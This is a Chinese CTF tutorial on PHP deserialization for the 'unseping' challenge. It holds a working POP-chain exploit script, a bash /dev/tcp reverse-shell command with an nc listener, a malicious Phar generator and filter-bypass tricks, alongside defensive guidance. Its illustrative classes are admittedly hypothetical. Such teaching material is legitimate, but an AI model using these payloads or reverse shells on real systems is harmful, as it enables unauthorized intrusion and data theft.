PHP反序列化漏洞实战:从CTF题目到代码审计的完整利用链剖析
1. 项目概述:从靶场到实战的桥梁
在网络安全的学习路径上,CTF(Capture The Flag)竞赛中的Web题目,尤其是涉及反序列化漏洞的挑战,往往是检验学习者从理论理解迈向实战应用的关键一步。攻防世界(XCTF)平台上的“unseping”这道题,就是一个非常经典的案例。它不像一些基础题目那样直白地告诉你“这里有个反序列化点”,而是需要你从零开始,观察流量、分析代码、理解逻辑链,最终构造出能够执行命令的Payload。这个过程,几乎完整复现了我们在真实渗透测试或代码审计中,发现并利用一个反序列化漏洞的完整思路。今天,我就以这道题为蓝本,结合我这些年挖洞、审计代码的经验,带你走一遍这个完整的流程。我们不仅要解出这道题,更要弄明白每一步背后的“为什么”,以及在实际的PHP代码审计中,你该如何运用这些技巧。无论你是正在备战CTF的新手,还是希望深化PHP反序列化漏洞理解的开发者或安全研究员,这篇实战解析都能给你带来直接的帮助。
2. 核心思路拆解:逆向漏洞利用链
面对一个未知的题目,第一步永远是信息收集。对于Web题,我们通常会先访问页面,看看有什么功能点,抓个包看看请求和响应。但“unseping”这道题可能一开始连明显的输入点都没有,或者只有一个看起来人畜无害的接口。这时,关键就在于对流量和代码的敏感度。
2.1 漏洞入口的发现与判断
很多反序列化漏洞的入口并不叫unserialize(),它可能隐藏在某个参数的处理流程中。在实战和CTF中,常见的入口有:
- Cookie参数:特别是那些看起来像
user,data,info等名称,其值可能是一串复杂的、经过Base64编码的字符串。 - POST/GET参数:某些API接口接收序列化后的数据作为参数。
- 文件上传:上传的文件名、文件内容(如图片的EXIF信息)可能被反序列化。
- Phar反序列化:这是PHP中一个极其重要的利用技巧,通过
phar://协议触发反序列化,往往能绕过很多限制。
在“unseping”这道题中,经过对请求的仔细排查(例如使用Burp Suite的重放和对比功能),我们很可能在某个请求参数(比如一个名为data的POST参数)中发现了一串以Tzo或O:开头的、经过Base64编码的字符串。这就是一个强烈的信号,表明服务器端可能对这段数据进行了base64_decode()后接unserialize()的操作。
注意:
Tzo是O:经过Base64编码后的结果(O的Base64是Tw==,但通常只取前两个字符Tzo,因为:的Base64是Og==,组合起来就是Tzo)。看到这类特征,基本可以锁定反序列化漏洞的存在。
2.2 代码审计与POP链的构造
发现入口只是开始。PHP反序列化漏洞之所以危险,不在于unserialize()函数本身,而在于它能够还原一个对象,并自动调用该对象的__wakeup()魔术方法。如果这个对象中的属性,是另一个类的实例,那么还原那个实例时,又会触发它的魔术方法。这样一环扣一环,就形成了一条“属性导向编程”(Property-Oriented Programming, POP)链。我们的目标,就是构造一条POP链,让程序在反序列化我们的数据时,最终执行我们想要的系统命令(例如system(‘cat /flag’))。
为了构造POP链,我们必须有源代码。在CTF中,题目通常会给出源码,或者通过文件读取漏洞获取。假设我们拿到了unseping题目的源码,里面可能包含几个关键的类:
class Welcome { public $name; public $arg = 'welcome'; public function __construct($name) { $this->name = $name; } public function __destruct() { if ($this->name == 'admin') { echo $this->arg; } } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; } public function __toString() { return $this->str->source; } } class Test { public $params; public function __construct($params) { $this->params = $params; } public function __get($key) { $func = $this->params; return $func(); } }我们的攻击思路通常是逆向的:
- 寻找终点:我们最终想执行什么函数?通常是
system()、exec()、passthru()等命令执行函数,或者eval()、assert()等代码执行函数。在代码中搜索这些函数名。 - 寻找跳板:看看哪个类的魔术方法里,有直接或间接调用这些危险函数的地方。例如,
Test::__get()方法中,有一行$func = $this->params; return $func();。如果$this->params是一个字符串'system',那么$func()就变成了system()。但这里$func被当作函数调用,所以$this->params必须是一个可调用的函数名。这是一个关键的跳板。 - 连接起点与终点:反序列化的入口是
__wakeup()或__destruct()。我们需要从入口魔术方法开始,通过操控对象属性,让程序执行流一步步走到我们的“终点”。- 在
Welcome::__destruct()中,如果$this->name == 'admin',它会echo $this->arg。 echo一个对象时,会触发该对象的__toString()方法。- 所以,如果我们让
$this->arg是一个Show类的对象,那么就会触发Show::__toString()。 Show::__toString()中,返回$this->str->source。- 访问一个对象的不可访问属性(如未定义或私有属性)时,会触发该对象的
__get()方法。 - 所以,如果我们让
$this->str是一个Test类的对象,并且Test类没有source属性,那么访问$this->str->source就会触发Test::__get('source')。 - 在
Test::__get()中,$func = $this->params; return $func();。如果我们让$this->params等于'system',那么这里就会执行system()函数。
- 在
这样,一条完整的POP链就清晰了:Welcome::__destruct()->echo $this->arg->Show::__toString()->$this->str->source->Test::__get()->$func()->system()。
2.3 Payload的构造与编码
思路清晰后,就需要用代码来构造这个链。我们需要按照链的顺序,从内到外实例化对象并设置属性。
// 1. 构造最内层的Test对象,其params属性设置为要执行的命令,例如 'system' $test = new Test('system'); // 2. 构造Show对象,其str属性设置为上面的Test对象 $show = new Show('anything'); // source属性初始值不重要 $show->str = $test; // 3. 构造Welcome对象,其name属性设置为'admin',arg属性设置为上面的Show对象 $welcome = new Welcome('admin'); $welcome->arg = $show; // 4. 序列化Welcome对象(它是链的起点) $payload = serialize($welcome); echo $payload; // 输出类似:O:7:"Welcome":2:{s:4:"name";s:5:"admin";s:3:"arg";O:4:"Show":2:{s:6:"source";s:8:"anything";s:3:"str";O:4:"Test":1:{s:6:"params";s:6:"system";}}} // 5. 通常题目会对序列化字符串进行Base64编码 $payload_b64 = base64_encode($payload); echo $payload_b64;但这里有一个问题:我们如何把要执行的命令(如cat /flag)传递给system()函数?在上面的链中,system()被无参数调用了。我们需要修改链,让system()能接收到参数。
观察Test::__get():return $func();。这里$func被直接调用。如果$this->params是一个数组,例如['system', 'cat /flag'],那么$func()就无效了。我们需要让$this->params变成一个可以携带参数的调用。在PHP中,我们可以使用call_user_func()或者直接构造一个闭包。但更常见和直接的方法是,利用$this->params本身就是一个包含命令和参数的数组,然后使用call_user_func_array()。但原代码是$func(),不是call_user_func_array($func, $args)。
因此,我们需要调整思路。一种更通用的方法是,让$this->params不是一个简单的函数名,而是一个包含了命令和参数的字符串,但这样就需要修改代码逻辑,这在实际漏洞利用中不现实。我们必须严格遵循现有代码的逻辑。
解决方案:重新审视终点。也许Test::__get()并不是唯一的终点,或者我们理解有误。另一种可能是,$this->params本身就是一个数组,第一个元素是函数名,第二个元素是参数。但$func()的调用方式不支持数组。这时,我们需要看看有没有其他类或魔术方法。例如,可能存在一个File类,其__toString()方法会执行include($this->filename),从而实现文件包含,再配合上传文件 getshell。
在“unseping”这道题的实际场景中,经过更深入的代码审计,我们可能会发现Test类的params属性在__construct中被特殊处理了,或者存在其他类。这里为了演示完整流程,我们假设找到了一个更合适的终点类Command:
class Command { public $cmd; public function __invoke() { system($this->cmd); } }__invoke()魔术方法会在对象被当作函数调用时触发。这样,我们的POP链就可以修改为:Welcome::__destruct()->echo $this->arg->Show::__toString()->$this->str->source->Test::__get()->$func()。此时,如果$this->params是一个Command对象,那么$func()就会触发Command::__invoke(),进而执行system($this->cmd)。
构造Payload:
$command = new Command(); $command->cmd = 'cat /flag'; $test = new Test($command); // Test的params属性现在是一个Command对象 $show = new Show('anything'); $show->str = $test; $welcome = new Welcome('admin'); $welcome->arg = $show; $payload = serialize($welcome); $payload_b64 = base64_encode($payload);3. 实战操作与利用过程
有了理论上的POP链和Payload构造方法,我们进入实战操作环节。这里我会结合Burp Suite、浏览器和命令行工具,模拟完整的攻击流程。
3.1 环境探测与信息收集
首先,访问目标地址。用浏览器打开题目链接,查看页面源码,看看有没有注释、隐藏表单、JS文件提示。用Burp Suite抓取所有请求,特别是关注Cookie、POST数据中是否有疑似序列化数据的参数。
假设我们通过抓包发现,向/api.php发送一个POST请求,其中有一个参数data,其值是一段Base64。尝试修改这个值,服务器返回了错误信息,提到了unserialize。这就确认了漏洞点。
3.2 编写漏洞利用脚本
手动构造复杂的序列化字符串容易出错,尤其是属性数量、字符串长度要严格对应。最好用PHP脚本动态生成。下面是一个完整的利用脚本示例:
<?php class Welcome { public $name; public $arg; } class Show { public $source; public $str; } class Test { public $params; } class Command { public $cmd; } // 构造命令执行对象 $command = new Command(); $command->cmd = 'cat /flag'; // 修改为你要执行的命令 // 构造Test对象,其params属性指向Command对象 $test = new Test(); $test->params = $command; // 构造Show对象 $show = new Show(); $show->source = 'anything'; // 这个属性在链中可能被用到,根据实际情况设置 $show->str = $test; // 构造Welcome对象,作为反序列化入口 $welcome = new Welcome(); $welcome->name = 'admin'; // 触发__destruct的条件 $welcome->arg = $show; // 触发后续链 // 序列化并编码 $payload = serialize($welcome); echo "Serialized Payload:\n"; echo $payload . "\n\n"; $payload_b64 = base64_encode($payload); echo "Base64 Encoded Payload:\n"; echo $payload_b64 . "\n\n"; // 为了方便直接复制到Burp Suite,输出URL编码后的形式(如果参数在URL中) echo "URL Encoded (for GET request):\n"; echo urlencode($payload_b64) . "\n"; ?>将上述脚本保存为exp.php,在本地PHP环境中运行(php exp.php),即可得到处理好的Payload。
3.3 发送Payload与获取结果
- 使用Burp Suite Repeater:将生成的Base64 Payload,替换原来请求中的
data参数值。发送请求。 - 观察响应:如果漏洞利用成功,你可能会在响应体中直接看到命令执行的结果(即
/flag文件的内容)。如果命令执行了但没有回显,可能需要尝试其他命令,如ls、whoami、find / -name flag* 2>/dev/null来寻找flag文件,或者使用反弹Shell。 - 反弹Shell(如果需要):如果题目限制了输出,或者需要交互式Shell,可以构造执行反弹Shell的命令。例如,使用
bash -c 'bash -i >& /dev/tcp/你的VPS_IP/监听端口 0>&1'。记得先在VPS上用nc -lvnp 监听端口监听。重要提示:在CTF中,出题环境通常封闭,反弹Shell可能无法出网。优先尝试读取文件、列目录等操作。在真实渗透测试中,反弹Shell是常用手段,但务必在授权范围内进行。
3.4 处理过滤与绕过
真实的漏洞利用很少一帆风顺。题目或真实应用往往会有一些过滤机制,例如:
- 关键字过滤:过滤
system、exec、cat、flag等关键词。 - 字符限制:限制参数长度、过滤某些特殊字符。
- 类型限制:检查反序列化后的对象类型。
绕过技巧:
- 字符串变形:使用PHP的字符串函数。例如,
system可以写成'sy'.'stem',或者使用base64_decode('c3lzdGVt')。在构造Payload时,让属性值是一个数组或对象,在其魔术方法中动态拼接出命令字符串。 - 使用非常用函数:除了
system,还可以尝试shell_exec()、passthru()、proc_open()、popen(),甚至利用反引号。 - 利用Phar反序列化:如果直接的反序列化入口被过滤,但存在文件上传功能,可以上传一个恶意Phar文件,然后通过
phar://协议包含它来触发反序列化。这是PHP反序列化漏洞利用中一个极其强大且常见的技巧。 - 编码绕过:对Payload进行多重编码(如Base64、Hex、Rot13),确保在服务器端解码后能得到正确的序列化字符串。
- 属性数量绕过:在PHP反序列化时,如果序列化字符串中对象的属性数量大于实际类定义的属性数量,且类定义了
__wakeup()方法,在PHP某些版本(<5.6.25, <7.0.10)下,__wakeup()可能不会执行。这可以用来绕过一些在__wakeup()中进行的清理或检查操作。在序列化字符串中,将对象属性计数的数字改大即可,例如O:7:"Welcome":3:{...}而实际类只有2个属性。
4. 深度原理与漏洞根源分析
理解了如何利用,我们更要深挖漏洞产生的根源,这样才能在代码开发和安全审计中有效避免。
4.1 为什么反序列化是危险的?
PHP的unserialize()函数在设计上就允许重建任意类型的对象。问题不在于重建对象本身,而在于重建过程中会自动调用一系列魔术方法:
__wakeup():对象反序列化时立即调用。__destruct():对象被销毁时调用(如脚本结束)。__toString():对象被当作字符串使用时调用(如echo,strval())。__get(),__set():访问或设置不可访问属性时调用。__call(),__callStatic():调用不可访问的方法时调用。__invoke():尝试将对象作为函数调用时调用。
如果这些魔术方法中包含了对其他类属性或方法的操作,并且这些操作是用户可控的(通过序列化字符串操控对象属性),那么攻击者就可以通过精心构造的序列化字符串,控制程序的执行流,最终达到执行任意代码的目的。
4.2 漏洞产生的典型场景
- 接收并反序列化不可信数据:这是最直接的场景。比如从客户端接收Cookie、Session、表单数据,未经严格校验就直接反序列化。
- Phar文件元数据反序列化:任何文件操作函数(如
file_get_contents()、include()、file_exists())的参数,如果用户可控,并且以phar://协议开头,都会自动反序列化Phar文件manifest部分的元数据。即使文件后缀不是.phar(如.jpg),只要文件内容符合Phar格式,就可以利用。 - 缓存、会话存储:将用户数据序列化后存入数据库、Memcached、Redis,读取时反序列化。如果存储的数据被污染,反序列化时就会触发漏洞。
4.3 安全开发建议
- 首要原则:不要反序列化不可信数据。这是最根本的解决方法。
- 使用安全的替代方案:
- 对于数据传输,使用JSON (
json_encode/json_decode)。JSON没有自动执行代码的能力。 - 对于对象持久化,考虑使用ORM或专门的序列化库(如Symfony的Serializer),并配合白名单机制。
- 对于数据传输,使用JSON (
- 如果必须使用反序列化:
- 实施白名单:在反序列化前,检查数据来源的签名或MAC(消息认证码)。或者,使用
allowed_classes参数(PHP 7.0+)来限制可以反序列化的类名,只允许必要的业务类。$data = unserialize($serializedData, ['allowed_classes' => ['SafeClassA', 'SafeClassB']]); - 输入验证与过滤:对即将被反序列化的字符串进行严格的格式检查。
- 代码审计:定期审计代码中所有
unserialize()的调用点,以及所有魔术方法的实现,确保其中没有危险操作。特别注意那些在魔术方法中,将对象属性直接用于函数调用(如$this->func($this->data))、文件包含(include($this->file))、系统命令执行等操作。
- 实施白名单:在反序列化前,检查数据来源的签名或MAC(消息认证码)。或者,使用
5. 拓展与高级利用技巧
掌握了基础利用后,我们可以看一些更高级的场景,这些在CTF和真实漏洞中都很常见。
5.1 利用Phar扩展攻击面
Phar反序列化几乎将PHP反序列化漏洞的触发点扩大到了所有文件操作函数。利用步骤:
- 构造恶意Phar文件:创建一个包含恶意序列化数据的Phar文件。可以使用PHP代码生成:
<?php class EvilObject { /* 你的恶意类 */ } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); // 添加一个文件内容,这是必须的 $phar->setStub('<?php __HALT_COMPILER(); ?>'); // Phar文件头 $object = new EvilObject(); $phar->setMetadata($object); // 将恶意对象存入metadata $phar->stopBuffering(); ?> - 上传Phar文件:通过网站的上传功能,将生成的
exploit.phar上传。有时需要绕过后缀检查,可以尝试改为exploit.jpg,但文件内容仍是Phar格式。 - 触发反序列化:找到任何一个文件操作函数,其参数用户可控,并利用
phar://协议包含上传的文件。例如:include(‘phar:///path/to/uploaded/exploit.jpg’);或file_get_contents(‘phar://exploit.jpg/test.txt’);。
5.2 原生类利用(PHP内置类)
当POP链中需要的类在代码中不存在时,可以尝试利用PHP内置的原生类(So-called “POP Chain Gadgets”)。例如:
SplFileObject:用于读取文件。如果有一个__toString()方法返回$this->file->getContents(),而$this->file可控,我们可以将其设为一个SplFileObject对象,从而读取任意文件。SimpleXMLElement:配合XXE(XML外部实体注入),可能用于读取文件或发起SSRF。Error/Exception:它们的__toString方法会打印调用栈和错误信息,有时能泄露敏感路径。
利用原生类通常需要更深的代码审计和对PHP内部类的熟悉,是CTF中较高阶的考点。
5.3 反序列化字符逃逸
这种漏洞出现在对序列化字符串进行过滤(如字符串替换)后再反序列化的场景。例如,代码可能将序列化字符串中的’evil’替换为’good’。如果替换前后字符串长度发生变化,就会破坏序列化字符串的结构。攻击者可以精心构造原始数据,使得过滤后的字符串恰好构成一个有效的、但含义被改变的序列化字符串,从而注入新的属性或对象。这类题目需要仔细计算字符偏移,是CTF中的难点。
6. 防御策略与安全加固
从防御者角度,我们需要多层次地防护反序列化漏洞。
架构层面:
- 弃用
unserialize():在新项目中,明确禁止使用该函数。使用JSON等安全格式进行数据交换。 - 最小化魔术方法的使用:在业务类中,谨慎使用魔术方法,尤其是
__wakeup、__destruct、__toString等。避免在这些方法中执行敏感操作或调用用户可控的属性。
- 弃用
代码层面:
- 严格输入校验:如果无法避免反序列化,必须确保数据来源可信。可以使用数字签名或MAC验证数据的完整性。
- 使用
allowed_classes:在PHP 7.0及以上版本,务必使用此参数将可反序列化的类限制在绝对必要的白名单内。 - 在沙箱中运行:考虑将执行反序列化的代码放在一个独立的、权限受限的进程或环境中。
运维层面:
- 及时更新PHP版本:新版本PHP会修复一些反序列化相关的底层问题(如属性数量绕过CVE-2016-7124)。
- 部署WAF:Web应用防火墙可以配置规则,拦截含有明显序列化特征(如
O:、C:、a:等)的请求。 - 安全扫描:使用静态代码分析工具(SAST)和动态应用安全测试工具(DAST)定期扫描应用,查找反序列化漏洞点。
7. 从CTF到实战的思维转变
解CTF题和做真实渗透测试有相通之处,也有不同。在CTF中,目标明确(找到flag),环境单纯,漏洞点往往被故意放置。而在实战中:
- 信息收集更关键:你需要自己寻找入口点,可能通过源码泄露(
.git、.svn、备份文件)、目录扫描、子域名枚举、分析JS文件、收集第三方组件信息等方式。 - 漏洞利用更复杂:真实的POP链可能跨越多个框架、组件,需要你深入理解业务逻辑和代码架构。你可能需要手动审计数十万行代码。
- 绕过手段需创新:WAF、IDS、自定义过滤规则层出不穷,需要你不断学习新的绕过技巧,并能够编写定制化的Exploit。
- 后果更严重:在授权范围外进行测试是违法的。务必遵守法律法规,只在获得明确授权的目标上进行测试。
“unseping”这道题是一个绝佳的练习场,它训练了你发现漏洞入口、审计代码、构造POP链、编写利用脚本的全套能力。掌握它,你就掌握了PHP反序列化漏洞利用的核心方法论。接下来,你可以尝试攻防世界上其他反序列化题目,或者去审计一些开源PHP项目(在授权环境下),将这套方法付诸实践,你的实战能力会得到质的提升。记住,耐心、细致和对代码逻辑的深刻理解,是挖掘这类漏洞的不二法门。
